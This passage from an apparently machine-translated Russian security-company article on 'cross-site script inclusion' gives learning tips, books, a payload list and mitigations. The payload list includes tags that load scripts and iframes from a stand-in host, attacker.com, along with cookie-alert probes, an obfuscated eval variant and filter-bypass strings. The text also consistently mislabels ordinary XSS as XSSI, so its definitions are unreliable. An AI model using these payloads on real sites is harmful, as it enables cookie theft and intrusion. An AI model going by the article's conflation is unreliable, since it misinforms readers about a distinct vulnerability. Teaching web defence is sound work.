  5. Посещайте тренинги или семинары: ищите учебные курсы или семинары, посвященные внедрению межсайтовых скриптов, где вы можете поучиться у экспертов в этой области и получить практическую практику.

  6. Участвуйте в программах вознаграждения за ошибки: Присоединяйтесь к программам вознаграждения за ошибки и ищите уязвимости, связанные с включением межсайтовых скриптов, чтобы попрактиковаться в своих навыках и потенциально заработать награды.

  7. Ознакомьтесь с OWASP Top 10: OWASP Top 10 - это список наиболее распространенных угроз безопасности веб-приложений, включая включение межсайтовых скриптов. Прочтите это руководство, чтобы лучше понять риски безопасности веб-приложений.

Лучший способ узнать о включении межсайтовых скриптов - это получить практическую практику, протестировав уязвимые приложения, используя инструменты с открытым исходным кодом и участвуя в программах по исправлению ошибок. Имейте в виду, что безопасность веб-приложений - это постоянно развивающаяся область, поэтому важно быть в курсе последних тенденций и технологий.

Книги с обзором включения межсайтового скрипта

Вот несколько популярных книг по включению межсайтовых скриптов (XSSI), которые могут оказаться вам полезными:

  1. “Атаки с использованием межсайтовых скриптов: эксплойты и защита Xss” Сета Фоги и др. В этой книге содержится исчерпывающий обзор атак с использованием межсайтовых сценариев (XSS) и способов их предотвращения. В нем рассматриваются технические аспекты XSS-атак, а также стратегии смягчения последствий.

  2. “The Web Application Hacker's Handbook: поиск и использование недостатков безопасности” Дэфидд Штуттард и Маркус Пинто. В этой книге рассматривается широкий круг вопросов безопасности веб-приложений, включая межсайтовые скрипты и другие уязвимости. Он предназначен как для начинающих, так и для более опытных специалистов в области безопасности.

  3. “Освоение современного веб-тестирования на проникновение” Прахара Прасада. В этой книге рассматриваются новейшие методы и инструменты, используемые при тестировании безопасности веб-приложений, включая межсайтовые сценарии. Он предназначен для опытных тестировщиков на проникновение и содержит подробные технические детали.

  4. “Руководство по тестированию OWASP v4” от OWASP. Это бесплатное руководство по тестированию безопасности веб-приложений с открытым исходным кодом, созданное Open Web Application Security Project (OWASP). Он содержит подробную информацию о тестировании межсайтовых сценариев и других уязвимостей.

  5. “Black Hat Python: программирование на Python для хакеров и пентестеров” Джастина Сейтца. Эта книга представляет собой введение в программирование на Python для тестирования безопасности веб-приложений, включая методы обнаружения и использования уязвимостей межсайтовых сценариев.

В этих книгах содержится широкий спектр информации о межсайтовых сценариях и тестировании безопасности веб-приложений, от технических деталей до практических советов и стратегий. Я рекомендую прочитать обзоры и анонсы этих книг, чтобы определить, какие из них будут наиболее полезны для ваших конкретных потребностей в обучении.

Список полезных нагрузок для включения межсайтового скрипта

Вот некоторые распространенные полезные нагрузки для атак с включением межсайтовых скриптов (XSSI):

  1. '<script src=http://attacker.com/malicious.js></script>'
    Эта полезная нагрузка загружает вредоносный скрипт из домена, контролируемого злоумышленником.

  2. '<img src=http://attacker.com/malicious.png onerror=alert(document.cookie)>'
    Эта полезная нагрузка загружает вредоносный образ из домена, контролируемого злоумышленником, и запускает диалоговое окно предупреждения, в котором отображаются файлы cookie жертвы.

  3. '"><script>alert(document.cookie)</script>'
    Эта полезная нагрузка используется в отраженной атаке межсайтового скриптинга (XSS), когда входные данные жертвы отражаются обратно на страницу без надлежащей очистки.

  4. '")};alert(document.cookie);//'
    Эта полезная нагрузка используется в атаке с использованием хранимых межсайтовых сценариев (XSS), когда злоумышленник внедряет вредоносный код, который постоянно хранится на сервере.

  5. '';alert(document.cookie);//'
    Эта полезная нагрузка используется для обхода проверки ввода, которая ищет только двойные кавычки и допускает одинарные кавычки в качестве входных данных.

  6. '<iframe src=http://attacker.com/malicious.html></iframe>'
    Эта полезная нагрузка загружает вредоносную HTML-страницу из домена, контролируемого злоумышленником, в iframe на странице жертвы.

  7. '"><img src=x onerror=alert(document.cookie)>'
    Эта полезная нагрузка используется для обхода проверки ввода, которая ищет только тег script и допускает другие теги HTML в качестве входных данных.

  8. '"><svg onload=alert(document.cookie)>'
    Эта полезная нагрузка используется для обхода проверки входных данных, которая ищет только теги изображений и допускает другие типы тегов в качестве входных данных.

  9. '"><script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,
    107,105,101,41))</script>'
    Эта полезная нагрузка запутывает полезную нагрузку, используя eval коды функций и символов для обхода обнаружения.

  10. '<script>alert(/XSSI/)</script>'
    Эта полезная нагрузка используется для проверки уязвимостей включения межсайтового скрипта (XSSI) путем проверки наличия строки “XSSI” в ответе.

Обратите внимание, что эти полезные нагрузки предоставляются только в образовательных целях и не должны использоваться для атаки или компрометации каких-либо систем без надлежащего разрешения.

Смягчение последствий и способы защиты от включения межсайтового скрипта

Для защиты от включения межсайтового скрипта (XSSI) рассмотрите следующие методы смягчения последствий:

  1. Проверка входных данных: Первым и наиболее важным шагом в предотвращении XSSIЯВЛЯЕТСЯ выполнение проверки входных данных. Проверяйте все входные данные, особенно те, которые поступают из ненадежных источников, таких как пользовательский ввод, файлы cookie, заголовки и параметры запроса.

  2. Политика безопасности контента (CSP): Политика безопасности контента (CSP) - это функция безопасности, которая позволяет веб-странице указывать, какие источники контента считаются законными, а какие нет. Реализуя CSP, можно ограничить загрузку внешних ресурсов на веб-странице, тем самым предотвращая атаки XSSI.

  3. Политика одного и того же источника (SOP): Политика одного и того же источника (SOP) - это функция безопасности, которая ограничивает обмен данными между двумя разными доменами. SOP - это механизм, реализуемый веб-браузерами для предотвращения доступа веб-страниц к ресурсам из других доменов. Применяя SOP, можно снизить риск XSSI-атак.

  4. Проверка на стороне сервера: проверка на стороне сервера всегда должна использоваться в сочетании с проверкой на стороне клиента. Проверка на стороне сервера должна быть выполнена, чтобы убедиться, что все входные данные являются действительными и безопасными в использовании.

  5. Флаги файлов cookie: используя флаги secure и HttpOnly в файлах cookie, можно предотвратить кражу конфиденциальной информации XSSI-атаками из браузера пользователя.

  6. Регулярные обновления: Обновление веб-приложения с помощью последних исправлений и обновлений может помочь предотвратить атаки XSSI путем устранения известных уязвимостей.

Внедряя эти методы смягчения последствий, можно снизить риск атак с использованием межсайтовых скриптов (XSSI).

Заключение

Включение межсайтовых скриптов (XSSI) - это уязвимость в системе безопасности, которая позволяет злоумышленнику выполнять вредоносные скрипты в веб-браузере жертвы путем внедрения вредоносного кода на уязвимую веб-страницу. Атаки XSSI можно предотвратить, внедрив методы смягчения последствий, такие как проверка входных данных, политика безопасности контента (CSP), политика того же источника (SOP), проверка на стороне сервера, флаги файлов cookie и регулярные обновления. Веб-разработчикам и организациям важно знать о рисках, связанных с XSSI, и предпринимать шаги для защиты своих веб-приложений от этого типа атак.

Другие Услуги

Готовы к безопасности?

Связаться с нами